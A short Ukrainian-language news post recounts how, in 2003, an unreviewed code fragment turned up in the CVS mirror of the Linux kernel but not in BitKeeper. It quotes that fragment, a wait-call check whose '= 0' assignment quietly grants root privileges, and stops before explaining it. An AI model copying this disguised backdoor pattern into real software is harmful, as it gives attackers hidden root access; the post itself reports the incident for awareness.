10.30.29 Як у 2003 році в ядро Linux намагалися непомітно додати бекдор | |
У зв'язку з історією про шпигунство NSA спливає все більше цікавих історій. Чи пов'язана наступна з них з діяльністю Агенства Національної Безпеки достовірно не відомо, але ця історія цікава сама по собі. У далекому 2003 року головна копія вихідного коду ядра Linux зберігалася за допомогою спеціального програмного забезпечення BitKeeper. Якщо в код вносилися зміни, то вони спочатку проходили перевірку спеціальної коммандой професіоналів і лише потім переносилися у майстер- копію. Проте , деяким програмістам було незручно працювати з BitKeeper, тому для них існувала окрема система CVS, в якій була доступна пряма копія коду ядра з BitKeeper. У 2003 році було виявлено, що в CVS копії коду є невеликий фрагмент коду, відсутній у BitKeeper, і ніколи не проходив перевірку. На перший погляд він виглядав досить необразливо. if ( ( options == ( __WCLONE | __WALL )) && ( current - > uid = 0 )) retval = - EINVAL ; | |
|
Всього коментарів: 0 | |